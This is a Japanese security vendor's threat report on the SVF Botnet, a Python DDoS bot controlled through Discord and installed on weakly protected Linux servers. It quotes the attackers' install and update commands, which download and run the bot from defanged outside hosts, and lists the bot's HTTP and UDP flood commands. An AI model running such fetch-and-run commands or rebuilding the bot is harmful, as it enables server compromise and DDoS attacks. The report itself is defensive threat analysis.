AhnLab SEcurity intelligence Center(ASEC)では、多数の Honey Pot を活用し、不適切に管理されている Linux サーバーを対象とした攻撃をモニタリングしている。代表的な Honey Pot の中には、脆弱な資格情報を使用する SSH サービスがあり、多くの DDoS およびコインマイナーの攻撃者が、これを対象に攻撃を実行している。
ASEC では、外部から流入する多数の攻撃をモニタリングしていたところ、近年、SVF Botnet という名前の DDoS Bot マルウェアをインストールする攻撃事例を確認した。SVF Bot は Python で開発されており、Discord を C&C サーバーで活用する。その他にも、DDoS 攻撃時に多数の Proxy サーバーを悪用することが特徴である。
1. SVF Botnet 攻撃事例
攻撃者は、Honey Pot Linux サーバーへのログインを試み、成功した後は以下のコマンドで SVF Bot をインストールした。SVF Bot が Python で製作されたため、内部で必要なライブラリも同時にインストールする。
> # python -m venv venv; source ./venv/bin/activate; pip install discord discord.py requests aiohttp lxml; wget hxxps://termbin[.]com/4ccx -O main.py; python main.py -s 5
2. SVF Bot 分析
ソースコードには、このマルウェアが「SVF Team」で製作したという内容と、PuTTY を活用した Botnet が動作しないため、遊びで製作したという説明が記載されている。

図1. SVF Bot
SVF Bot が実行されると、以下のような Bot Token を活用して Discord サーバーに認証を行い、その後攻撃者のコマンドに応じて動作する。実行時には Webhook を利用してサーバー名を送信する。参考に、サーバー名はインストールコマンドで「-s」引数を通じて5番で設定されたが、これは一種のグループであり、後に攻撃者が各グループごとに DDoS コマンドを伝達することができる。
対応しているコマンドの大半は DDoS 攻撃であり、おおよそ L7 HTTP Flood と L4 UDP Flood に対応する。以下は、対応している各コマンドの一覧である。
| コマンド | 引数 | 機能 |
|---|---|---|
| $help | N/A | ボットネット の紹介(1 番サーバーのみ応答) |
| $methods | N/A | DDoS 攻撃の使用法(1 番サーバーのみ応答) |
| $load | <http> <maxtime> | 公開プロキシアドレスのスクレイピングおよび有効性検査後、リストを保存(L7 HTTP Flood 攻撃で使用) |
| $unload | <http> | プロキシリストの初期化 |
| $customhttp | <threads> <times> <semaphore> <bypasscheck)> <servers/concurrents> <website> | L7 HTTP Flood (カスタム方式) |
| $http | <servers/concurrents> <website> | L7 HTTP Flood |
| $customudp | <ip:port> <Packet Strength> <threads> <Packets Per Thread> <servers/concurrents> | L4 UDP Flood (カスタム方式) |
| $udp | <servers/concurrents> <ip:port> | L4 UDP Flood |
| $restart | N/A | アップデート |
| $crash | N/A | 強制終了 |
| $stop | N/A | HTTP Flood 攻撃の停止 |
Table 1. コマンド一覧

図2. HTTP Flood 攻撃ルーチンの一部
単純な形式の DDoS Bot マルウェアではあるが、HTTP Flood 攻撃時にプロキシをサポートするという点が特徴である。まず、以下のような10個のアドレスからプロキシアドレスリストを取得したあと、そのアドレスで Google にログインする検証プロセスを経てリストに追加する。その後、HTTP Flood 攻撃時にリストからランダムに選択したプロキシアドレスを活用して接続を試みる方式である。
| 公開プロキシアドレス |
|---|
| hxxps://sslproxies[.]org/ |
| hxxps://free-proxy-list[.]net/ |
| hxxps://www.us-proxy[.]org/ |
| hxxps://raw.githubusercontent[.]com/ShiftyTR/Proxy-List/master/http.txt |
| hxxps://raw.githubusercontent[.]com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt |
| hxxps://raw.githubusercontent[.]com/officialputuid/KangProxy/KangProxy/http/http.txt |
| hxxps://raw.githubusercontent[.]com/mmpx12/proxy-list/master/http.txt |
| hxxps://raw.githubusercontent[.]com/mmpx12/proxy-list/master/https.txt |
| hxxps://raw.githubusercontent[.]com/roosterkid/openproxylist/main/HTTPS_RAW.txt |
| hxxps://raw.githubusercontent[.]com/proxy4parsing/proxy-list/main/http.txt |
Table 2. 公開プロキシアドレスが保存されているサイト

図3. 公開プロキシアドレスの取得および検証ルーチン
参考に、アップデート時に以下のようなコマンドで SVF Bot を再度ダウンロードしてインストールする。現在は基準ダウンロードが不可能だが、今後は機能が改善された形の SVF Bot が配布される可能性がある。
> pip install discord && pip install requests && pip install lxml && curl -sL hxxp://146.59.239[.]144:55/ > main.py && python main.py -s {server}
3. 結論
最近、不適切に管理されている Linux サーバーを対象に SVF DDoS Bot をインストールする事例が確認された。SVF DDoS Bot がインストールされると、Linux サーバーは攻撃者のコマンドを受け取り、DDoS Bot として悪用される可能性がある。
管理者は、アカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃から Linux サーバーを保護し、最新のセキュリティパッチを適用して脆弱性攻撃を防ぐ必要がある。また、外部に公開されていてアクセスが可能なサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。最後に、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払う必要がある。
Categories: Uncategorized